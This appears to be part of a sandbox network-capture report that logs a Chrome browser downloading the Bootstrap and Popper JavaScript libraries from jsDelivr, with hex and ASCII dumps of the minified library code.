2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 65 73 2e 61 72 72 6f 77 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 73 74 79 6c 65 73 2e 61 72 72 6f 77 2c 72 65 28 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 63 2c 7b 6f 66 66 73 65 74 73 3a 74 2e 6d 6f 64 69 66 69 65 72 73 44 61 74 61 2e 61 72 72 6f 77 2c 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 2c 61 64 61 70 74 69 76 65 3a 21 31 2c 72 6f 75 6e 64 4f 66 66 73 65 74 73 3a 66 7d 29 29 29 29 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 7b 7d 2c 74 2e 61 74 74 72 69 62 75 74 65 73 2e 70 6f 70 70 65 72 2c 7b 22 64 61 74 61 2d 70 6f 70 70 65 72 2d 70 6c 61 63 65 6d 65 6e 74 22 3a 74 2e 70 6c 61 63 65 6d 65 6e 74 7d 29 7d 2c 64 61 74 61 3a 7b 7d 7d 3b 76 61 72 Data Ascii: es.arrow=Object.assign({},t.styles.arrow,re(Object.assign({},c,{offsets:t.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:f})))),t.attributes.popper=Object.assign({},t.attributes.popper,{"data-popper-placement":t.placement})},data:{}};var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49763	151.101.65.229	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:20 UTC	571	OUT	GET /npm/bootstrap@5.3.3/dist/js/bootstrap.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://autenticatorresolver.online/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:20 UTC	775	IN	HTTP/1.1 200 OK Connection: close Content-Length: 60635 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 5.3.3 X-JSD-Version-Type: version ETag: W/"ecdb-LGwKWDRaCdN2EjCvgjpOSFKxJkM" Accept-Ranges: bytes Age: 1774542 Date: Tue, 10 Dec 2024 14:09:20 GMT X-Served-By: cache-fra-etou8220156-FRA, cache-ewr-kewr1740023-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 35 2e 33 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 34 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 Data Ascii: /! Bootstrap v5.3.3 (https://getbootstrap.com/) * Copyright 2011-2024 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */!function(t,e){"ob
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 64 20 30 21 3d 3d 74 2e 6e 6f 64 65 54 79 70 65 29 2c 63 3d 74 3d 3e 6c 28 74 29 3f 74 2e 6a 71 75 65 72 79 3f 74 5b 30 5d 3a 74 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 74 2e 6c 65 6e 67 74 68 3e 30 3f 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 72 28 74 29 29 3a 6e 75 6c 6c 2c 68 3d 74 3d 3e 7b 69 66 28 21 6c 28 74 29 7c 7c 30 3d 3d 3d 74 2e 67 65 74 43 6c 69 65 6e 74 52 65 63 74 73 28 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 65 3d 22 76 69 73 69 62 6c 65 22 3d 3d 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 2e 67 65 74 50 72 6f 70 65 72 74 79 56 61 6c 75 65 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 2c 69 3d 74 2e 63 6c 6f 73 65 73 74 28 22 64 65 74 61 69 6c 73 Data Ascii: d 0!==t.nodeType),c=t=>l(t)?t.jquery?t[0]:t:"string"==typeof t&&t.length>0?document.querySelector(r(t)):null,h=t=>{if(!l(t)\|\|0===t.getClientRects().length)return!1;const e="visible"===getComputedStyle(t).getPropertyValue("visibility"),i=t.closest("details
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3a 65 2c 74 72 61 6e 73 69 74 69 6f 6e 44 65 6c 61 79 3a 69 7d 3d 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 29 3b 63 6f 6e 73 74 20 73 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2c 6e 3d 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 3b 72 65 74 75 72 6e 20 73 7c 7c 6e 3f 28 65 3d 65 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 69 3d 69 2e 73 70 6c 69 74 28 22 2c 22 29 5b 30 5d 2c 31 65 33 2a 28 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 65 29 2b 4e 75 6d 62 65 72 2e 70 61 72 73 65 46 6c 6f 61 74 28 69 29 29 29 3a 30 7d 29 28 65 29 2b 35 3b 6c 65 74 20 6e 3d 21 31 3b 63 6f 6e 73 74 20 72 3d 28 7b 74 61 72 67 65 74 3a 69 7d 29 3d 3e 7b 69 3d Data Ascii: itionDuration:e,transitionDelay:i}=window.getComputedStyle(t);const s=Number.parseFloat(e),n=Number.parseFloat(i);return s\|\|n?(e=e.split(",")[0],i=i.split(",")[0],1e3*(Number.parseFloat(e)+Number.parseFloat(i))):0})(e)+5;let n=!1;const r=({target:i})=>{i=
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 3d 69 29 29 7d 66 75 6e 63 74 69 6f 6e 20 44 28 74 2c 65 2c 69 29 7b 63 6f 6e 73 74 20 73 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 2c 6e 3d 73 3f 69 3a 65 7c 7c 69 3b 6c 65 74 20 6f 3d 4d 28 74 29 3b 72 65 74 75 72 6e 20 53 2e 68 61 73 28 6f 29 7c 7c 28 6f 3d 74 29 2c 5b 73 2c 6e 2c 6f 5d 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 74 2c 65 2c 69 2c 73 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 21 74 29 72 65 74 75 72 6e 3b 6c 65 74 5b 6f 2c 72 2c 61 5d 3d 44 28 65 2c 69 2c 73 29 3b 69 66 28 65 20 69 6e 20 24 29 7b 63 6f 6e 73 74 20 74 3d 74 3d 3e 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 7c 7c 65 2e 72 65 6c 61 74 65 64 54 61 72 67 65 74 21 3d 3d 65 2e 64 65 Data Ascii: =i))}function D(t,e,i){const s="string"==typeof e,n=s?i:e\|\|i;let o=M(t);return S.has(o)\|\|(o=t),[s,n,o]}function N(t,e,i,s,n){if("string"!=typeof e\|\|!t)return;let[o,r,a]=D(e,i,s);if(e in $){const t=t=>function(e){if(!e.relatedTarget\|\|e.relatedTarget!==e.de
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 3d 6f 29 7b 69 66 28 68 29 66 6f 72 28 63 6f 6e 73 74 20 69 20 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 6c 29 29 78 28 74 2c 6c 2c 69 2c 65 2e 73 6c 69 63 65 28 31 29 29 3b 66 6f 72 28 63 6f 6e 73 74 5b 69 2c 73 5d 6f 66 20 4f 62 6a 65 63 74 2e 65 6e 74 72 69 65 73 28 63 29 29 7b 63 6f 6e 73 74 20 6e 3d 69 2e 72 65 70 6c 61 63 65 28 43 2c 22 22 29 3b 61 26 26 21 65 2e 69 6e 63 6c 75 64 65 73 28 6e 29 7c 7c 50 28 74 2c 6c 2c 72 2c 73 2e 63 61 6c 6c 61 62 6c 65 2c 73 2e 64 65 6c 65 67 61 74 69 6f 6e 53 65 6c 65 63 74 6f 72 29 7d 7d 65 6c 73 65 7b 69 66 28 21 4f 62 6a 65 63 74 2e 6b 65 79 73 28 63 29 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 3b 50 28 74 2c 6c 2c 72 2c 6f 2c 6e 3f 69 3a 6e 75 6c 6c 29 7d 7d 2c 74 72 69 67 67 65 72 28 74 2c 65 2c 69 29 7b Data Ascii: =o){if(h)for(const i of Object.keys(l))x(t,l,i,e.slice(1));for(const[i,s]of Object.entries(c)){const n=i.replace(C,"");a&&!e.includes(n)\|\|P(t,l,r,s.callable,s.delegationSelector)}}else{if(!Object.keys(c).length)return;P(t,l,r,o,n?i:null)}},trigger(t,e,i){
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 69 2e 73 6c 69 63 65 28 31 2c 69 2e 6c 65 6e 67 74 68 29 2c 65 5b 69 5d 3d 7a 28 74 2e 64 61 74 61 73 65 74 5b 73 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 67 65 74 44 61 74 61 41 74 74 72 69 62 75 74 65 3a 28 74 2c 65 29 3d 3e 7a 28 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 60 64 61 74 61 2d 62 73 2d 24 7b 48 28 65 29 7d 60 29 29 7d 3b 63 6c 61 73 73 20 71 7b 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 44 65 66 61 75 6c 74 54 79 70 65 28 29 7b 72 65 74 75 72 6e 7b 7d 7d 73 74 61 74 69 63 20 67 65 74 20 4e 41 4d 45 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 27 59 6f 75 20 68 61 76 65 20 74 6f 20 69 6d 70 6c 65 6d 65 6e Data Ascii: .toLowerCase()+i.slice(1,i.length),e[i]=z(t.dataset[s])}return e},getDataAttribute:(t,e)=>z(t.getAttribute(`data-bs-${H(e)}`))};class q{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implemen
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 73 2e 5f 6d 65 72 67 65 43 6f 6e 66 69 67 4f 62 6a 28 74 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2c 74 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 41 66 74 65 72 4d 65 72 67 65 28 74 29 2c 74 68 69 73 2e 5f 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 74 29 2c 74 7d 73 74 61 74 69 63 20 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7b 72 65 74 75 72 6e 20 6e 2e 67 65 74 28 63 28 74 29 2c 74 68 69 73 2e 44 41 54 41 5f 4b 45 59 29 7d 73 74 61 74 69 63 20 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 2c 65 3d 7b 7d 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 74 29 7c 7c 6e 65 77 20 74 68 69 73 28 74 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 3a 6e 75 6c 6c 29 7d 73 74 61 74 69 63 20 67 65 Data Ascii: s._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return n.get(c(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)\|\|new this(t,"object"==typeof e?e:null)}static ge
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 5b 74 61 62 69 6e 64 65 78 5d 22 2c 27 5b 63 6f 6e 74 65 6e 74 65 64 69 74 61 62 6c 65 3d 22 74 72 75 65 22 5d 27 5d 2e 6d 61 70 28 28 74 3d 3e 60 24 7b 74 7d 3a 6e 6f 74 28 5b 74 61 62 69 6e 64 65 78 5e 3d 22 2d 22 5d 29 60 29 29 2e 6a 6f 69 6e 28 22 2c 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 66 69 6e 64 28 65 2c 74 29 2e 66 69 6c 74 65 72 28 28 74 3d 3e 21 64 28 74 29 26 26 68 28 74 29 29 29 7d 2c 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 26 26 4b 2e 66 69 6e 64 4f 6e 65 28 65 29 3f 65 3a 6e 75 6c 6c 7d 2c 67 65 74 45 6c 65 6d 65 6e 74 46 72 6f 6d 53 65 6c 65 63 74 6f 72 28 74 29 7b 63 6f 6e 73 74 20 65 3d 52 28 74 29 3b 72 65 74 75 72 6e 20 65 3f 4b Data Ascii: [tabindex]",'[contenteditable="true"]'].map((t=>`${t}:not([tabindex^="-"])`)).join(",");return this.find(e,t).filter((t=>!d(t)&&h(t)))},getSelectorFromElement(t){const e=R(t);return e&&K.findOne(e)?e:null},getElementFromSelector(t){const e=R(t);return e?K
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 74 6f 67 67 6c 65 28 22 61 63 74 69 76 65 22 29 29 7d 73 74 61 74 69 63 20 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 65 3d 4a 2e 67 65 74 4f 72 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 28 74 68 69 73 29 3b 22 74 6f 67 67 6c 65 22 3d 3d 3d 74 26 26 65 5b 74 5d 28 29 7d 29 29 7d 7d 6a 2e 6f 6e 28 64 6f 63 75 6d 65 6e 74 2c 22 63 6c 69 63 6b 2e 62 73 2e 62 75 74 74 6f 6e 2e 64 61 74 61 2d 61 70 69 22 2c 47 2c 28 74 3d 3e 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 Data Ascii: element.setAttribute("aria-pressed",this._element.classList.toggle("active"))}static jQueryInterface(t){return this.each((function(){const e=J.getOrCreateInstance(this);"toggle"===t&&e[t]()}))}}j.on(document,"click.bs.button.data-api",G,(t=>{t.preventDefa
2024-12-10 14:09:20 UTC	1378	IN	Data Raw: 6c 74 61 58 3d 30 2c 65 26 26 76 28 65 3e 30 3f 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 72 69 67 68 74 43 61 6c 6c 62 61 63 6b 3a 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6c 65 66 74 43 61 6c 6c 62 61 63 6b 29 7d 5f 69 6e 69 74 45 76 65 6e 74 73 28 29 7b 74 68 69 73 2e 5f 73 75 70 70 6f 72 74 50 6f 69 6e 74 65 72 45 76 65 6e 74 73 3f 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 73 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 73 74 61 72 74 28 74 29 29 29 2c 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2c 6e 74 2c 28 74 3d 3e 74 68 69 73 2e 5f 65 6e 64 28 74 29 29 29 2c 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 22 29 29 3a 28 6a 2e 6f 6e 28 74 68 69 73 2e 5f 65 Data Ascii: ltaX=0,e&&v(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(j.on(this._element,st,(t=>this._start(t))),j.on(this._element,nt,(t=>this._end(t))),this._element.classList.add("pointer-event")):(j.on(this._e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49765	151.101.129.229	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:09:22 UTC	388	OUT	GET /npm/@popperjs/core@2.11.8/dist/umd/popper.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:09:22 UTC	776	IN	HTTP/1.1 200 OK Connection: close Content-Length: 20122 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 2.11.8 X-JSD-Version-Type: version ETag: W/"4e9a-hx1u8QcL02PqOQ4MjDhOR9zn84k" Accept-Ranges: bytes Date: Tue, 10 Dec 2024 14:09:22 GMT Age: 2290269 X-Served-By: cache-fra-eddf8230047-FRA, cache-ewr-kewr1740045-EWR X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 40 70 6f 70 70 65 72 6a 73 2f 63 6f 72 65 20 76 32 2e 31 31 2e 38 20 2d 20 4d 49 54 20 4c 69 63 65 6e 73 65 0a 20 2a 2f 0a 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 74 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 74 29 3a 74 28 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 50 6f 70 70 65 72 3d 7b 7d 29 7d Data Ascii: /** * @popperjs/core v2.11.8 - MIT License */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).Popper={})}
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 76 61 72 20 6e 3d 74 28 65 29 3b 72 65 74 75 72 6e 7b 73 63 72 6f 6c 6c 4c 65 66 74 3a 6e 2e 70 61 67 65 58 4f 66 66 73 65 74 2c 73 63 72 6f 6c 6c 54 6f 70 3a 6e 2e 70 61 67 65 59 4f 66 66 73 65 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 72 65 74 75 72 6e 20 65 3f 28 65 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 72 65 74 75 72 6e 28 28 6e 28 65 29 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3a 65 2e 64 6f 63 75 6d 65 6e 74 29 7c 7c 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 72 65 74 75 72 6e 20 70 28 64 28 65 Data Ascii: unction u(e){var n=t(e);return{scrollLeft:n.pageXOffset,scrollTop:n.pageYOffset}}function l(e){return e?(e.nodeName\|\|"").toLowerCase():null}function d(e){return((n(e)?e.ownerDocument:e.document)\|\|window.document).documentElement}function h(e){return p(d(e
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 28 6e 3d 5b 5d 29 3b 76 61 72 20 6f 3d 78 28 65 29 2c 69 3d 6f 3d 3d 3d 28 6e 75 6c 6c 3d 3d 28 72 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 29 3f 76 6f 69 64 20 30 3a 72 2e 62 6f 64 79 29 2c 61 3d 74 28 6f 29 2c 73 3d 69 3f 5b 61 5d 2e 63 6f 6e 63 61 74 28 61 2e 76 69 73 75 61 6c 56 69 65 77 70 6f 72 74 7c 7c 5b 5d 2c 76 28 6f 29 3f 6f 3a 5b 5d 29 3a 6f 2c 66 3d 6e 2e 63 6f 6e 63 61 74 28 73 29 3b 72 65 74 75 72 6e 20 69 3f 66 3a 66 2e 63 6f 6e 63 61 74 28 77 28 62 28 73 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4f 28 65 29 7b 72 65 74 75 72 6e 5b 22 74 61 62 6c 65 22 2c 22 74 64 22 2c 22 74 68 22 5d 2e 69 6e 64 65 78 4f 66 28 6c 28 65 29 29 3e 3d 30 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 72 65 74 75 72 6e 20 72 28 65 29 26 26 22 66 69 78 65 64 Data Ascii: (n=[]);var o=x(e),i=o===(null==(r=e.ownerDocument)?void 0:r.body),a=t(o),s=i?[a].concat(a.visualViewport\|\|[],v(o)?o:[]):o,f=n.concat(s);return i?f:f.concat(w(b(s)))}function O(e){return["table","td","th"].indexOf(l(e))>=0}function j(e){return r(e)&&"fixed
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 72 3d 74 2e 67 65 74 28 65 29 3b 72 26 26 6f 28 72 29 7d 7d 29 29 2c 72 2e 70 75 73 68 28 65 29 7d 72 65 74 75 72 6e 20 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 73 65 74 28 65 2e 6e 61 6d 65 2c 65 29 7d 29 29 2c 65 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 2e 68 61 73 28 65 2e 6e 61 6d 65 29 7c 7c 6f 28 65 29 7d 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 43 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 26 26 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 28 29 3b 69 66 28 65 2e 63 6f 6e 74 61 69 6e 73 28 74 29 29 72 65 74 75 72 6e 21 30 3b 69 66 28 6e 26 26 6f 28 6e 29 29 7b 76 61 72 20 72 3d 74 3b 64 6f 7b 69 66 28 72 26 26 65 2e 69 73 53 61 6d 65 4e 6f 64 65 28 72 29 29 72 Data Ascii: r=t.get(e);r&&o(r)}})),r.push(e)}return e.forEach((function(e){t.set(e.name,e)})),e.forEach((function(e){n.has(e.name)\|\|o(e)})),r}function C(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&o(n)){var r=t;do{if(r&&e.isSameNode(r))r
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 69 6f 6e 29 3e 3d 30 26 26 72 28 65 29 3f 45 28 65 29 3a 65 3b 72 65 74 75 72 6e 20 6e 28 6f 29 3f 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 65 29 26 26 43 28 65 2c 6f 29 26 26 22 62 6f 64 79 22 21 3d 3d 6c 28 65 29 7d 29 29 3a 5b 5d 7d 28 65 29 3a 5b 5d 2e 63 6f 6e 63 61 74 28 74 29 2c 63 3d 5b 5d 2e 63 6f 6e 63 61 74 28 66 2c 5b 6f 5d 29 2c 70 3d 63 5b 30 5d 2c 75 3d 63 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 72 3d 49 28 65 2c 6e 2c 73 29 3b 72 65 74 75 72 6e 20 74 2e 74 6f 70 3d 69 28 72 2e 74 6f 70 2c 74 2e 74 6f 70 29 2c 74 2e 72 69 67 68 74 3d 61 28 72 2e 72 69 67 68 74 2c 74 2e 72 69 67 68 74 29 2c 74 2e 62 6f 74 74 6f 6d 3d 61 28 72 2e 62 6f 74 74 6f 6d 2c Data Ascii: ion)>=0&&r(e)?E(e):e;return n(o)?t.filter((function(e){return n(e)&&C(e,o)&&"body"!==l(e)})):[]}(e):[].concat(t),c=[].concat(f,[o]),p=c[0],u=c.reduce((function(t,n){var r=I(e,n,s);return t.top=i(r.top,t.top),t.right=a(r.right,t.right),t.bottom=a(r.bottom,
2024-12-10 14:09:22 UTC	1378	IN	Data Raw: 72 79 2c 79 3d 76 6f 69 64 20 30 21 3d 3d 76 26 26 76 2c 67 3d 72 2e 70 61 64 64 69 6e 67 2c 62 3d 76 6f 69 64 20 30 3d 3d 3d 67 3f 30 3a 67 2c 78 3d 59 28 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 20 62 3f 62 3a 47 28 62 2c 6b 29 29 2c 77 3d 6d 3d 3d 3d 54 3f 22 72 65 66 65 72 65 6e 63 65 22 3a 54 2c 4f 3d 65 2e 72 65 63 74 73 2e 70 6f 70 70 65 72 2c 6a 3d 65 2e 65 6c 65 6d 65 6e 74 73 5b 79 3f 77 3a 6d 5d 2c 45 3d 5f 28 6e 28 6a 29 3f 6a 3a 6a 2e 63 6f 6e 74 65 78 74 45 6c 65 6d 65 6e 74 7c 7c 64 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 70 6f 70 70 65 72 29 2c 63 2c 6c 2c 73 29 2c 50 3d 70 28 65 2e 65 6c 65 6d 65 6e 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 4d 3d 58 28 7b 72 65 66 65 72 65 6e 63 65 3a 50 2c 65 6c 65 6d 65 6e 74 3a 4f 2c 73 74 72 61 74 Data Ascii: ry,y=void 0!==v&&v,g=r.padding,b=void 0===g?0:g,x=Y("number"!=typeof b?b:G(b,k)),w=m===T?"reference":T,O=e.rects.popper,j=e.elements[y?w:m],E=_(n(j)?j:j.contextElement\|\|d(e.elements.popper),c,l,s),P=p(e.elements.reference),M=X({reference:P,element:O,strat
